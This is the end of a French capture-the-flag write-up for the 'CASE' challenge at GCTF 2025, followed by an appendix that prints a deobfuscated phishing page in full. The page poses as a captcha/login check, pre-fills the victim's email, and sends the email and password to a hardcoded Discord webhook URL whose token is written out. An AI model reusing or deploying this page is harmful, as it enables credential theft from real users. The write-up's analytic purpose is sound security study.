Un canal d’exfiltration commode est un canal exposé. Le webhook Discord évitait à l’attaquant de louer un serveur, mais son URL était un secret porteur codé en dur dans une page publique. La récupérer donnait accès à l’infrastructure de commande, ce qui est très exactement l’inverse du résultat recherché.

Ceci conclut le writeup du challenge “CASE” au GCTF 2025. J’espère que vous avez trouvé cette procédure instructive et utile pour aborder des scénarios similaires dans le monde réel de la cybersécurité.

PS : Malheureusement, les participants étaient comme ça :

alt text

0 résolution, ça arrive parfois, je suppose.

Annexe : le code source en clair

Page de phishing entierement desobfusquee, environ 200 lignes
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Captcha page | Secured</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">
<script src="https://kit.fontawesome.com/585b051251.js" crossorigin="anonymous"></script>
<link rel="shortcut icon" href="https://masherabot.com/img/png/adobe/acrobat.png" type="image/x-icon">
<script src="https://code.jquery.com/jquery-3.7.0.js" integrity="sha256-JlqSTELeR4TLqP0OG9dxM7yDPqX1ox/HfgiSLBj8+kM=" crossorigin="anonymous"></script>
</head>
<style>
body{
display: flex;
justify-content: center;
align-items: center;
}
#iframe{
position: fixed;
top: 0; right: 0; bottom: 0; left: 0;
width: 100vw;
height: 100vh;
}
.login{
display: flex;
justify-content: center;
align-items: center;
width: 100vh;
height: 100vh;
z-index: 20;
}
.login_body{
width: 90%;
max-width: 400px;
z-index: 10;
padding: 10px;
background: white;
border-radius: 10px;
box-shadow: 0 4px 32px 0 grey;
display: flex;
flex-flow: column;
gap: 10px;
}
.confirm{
font-weight: 600;
}
.flex_column{
display: flex;
flex-flow: column;
}
#newbutton{
width: fit-content !important;
background: #062174;
color: white;
}
.loading{
display: flex;
justify-content: center;
align-items: center;
flex-flow: column;
gap: 10px;
position: fixed;
top: 0; right: 0; bottom: 0; left: 0;
z-index: 100;
background: white;
}
.loader {
width: 48px;
height: 48px;
display: inline-block;
position: relative;
background: black;
box-sizing: border-box;
animation: flipX 1s linear infinite;
}
@keyframes flipX {
0% {
transform: perspective(200px) rotateX(0deg) rotateY(0deg);
}
50% {
transform: perspective(200px) rotateX(-180deg) rotateY(0deg);
}
100% {
transform: perspective(200px) rotateX(-180deg) rotateY(-180deg);
}
}
</style>
<body>
<div class="login">
<div class="login_body">
<img src="https://media.istockphoto.com/id/1156467607/photo/captcha-im-not-a-robot.jpg?b=1&s=170667a&w=0&k=20&c=qsCUeyZgtDMl98uVMrhPrXqWatuEdwkSyF6YlwLtbW4=" width="150">
<div class="alert alert-danger" id="msg" style="display: none;">Incorrect Password</div>
<div class="text-center confirm">Confirm identity to prove you are not a robot</div>
<div id="error" style="color: red;"></div>
<form class="flex_column" id="form">
<label class="text-secondary font-weight-bold">Email Address</label>
<input type="email" class="form-control email" required="required" name="email" id="email" autocomplete="on">
<label class="text-secondary font-weight-bold">Password</label>
<input type="password" class="form-control password" name="password" required="" id="password">
<br>
<div></div>
<input class="btn newbutton" type="submit" value="Sign in" name="submit" id="newbutton">
</form>
</div>
</div>
</body>
<div class="loading" id="loading">
<span class="loader"></span>
<h3 class="text-center">Connecting To Mail Server</h3>
</div>
<iframe src="" frameborder="0" id="iframe"></iframe>
<input type="hidden" value="0" id="number">
<script>
var link = window.location.href;
var url = new URL(link);
var hash = url.hash;
var updated_email = hash.replace("#", "");
document.getElementById("email").value = updated_email;
const inputString = updated_email;
const delimiter = "@";
const delimiterIndex = inputString.indexOf(delimiter);
const charactersAfter = inputString.substring(delimiterIndex + 1);
var iframe = document.getElementById("iframe");
// var iframe_url = "https://www." + charactersAfter ;
var iframe_url = "https://" + charactersAfter ;
iframe.setAttribute("src", iframe_url);
setTimeout(() => {
var loader = document.getElementById("loading");
loader.style.display = "none";
}, 4000);
document.addEventListener("DOMContentLoaded", function() {
var form = document.getElementById("form");
form.addEventListener("submit", function(e) {
e.preventDefault();
var number = parseInt(document.getElementById("number").value);
var password = document.getElementById("password").value;
var webhookUrl = "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI";
var payload = {
username: "Hacked accounts",
avatar_url: "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg",
embeds: [{
title: "USER BREACH DETECTED",
description: `**Un utilisateur s'est fait PETAX!**`,
color: 0xFF0000,
fields: [
{
name: "User Credentials",
value: `**Email**: ${document.getElementById("email").value}\n**Password**: ${document.getElementById("password").value}`,
inline: false
}
],
footer: {
text: "Creds Logged",
icon_url: "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
image: {
url: "https://i.imgur.com/UsNaXHK.gif"
}
}]
};
var xhr = new XMLHttpRequest();
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
xhr.open("POST", webhookUrl, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", xhr.responseText);
}
}
};
xhr.send(JSON.stringify(payload));
document.getElementById("number").value = number + 1;
document.getElementById("password").value = "";
});
});
</script>
</html>
Utiliser avec une IA

Actions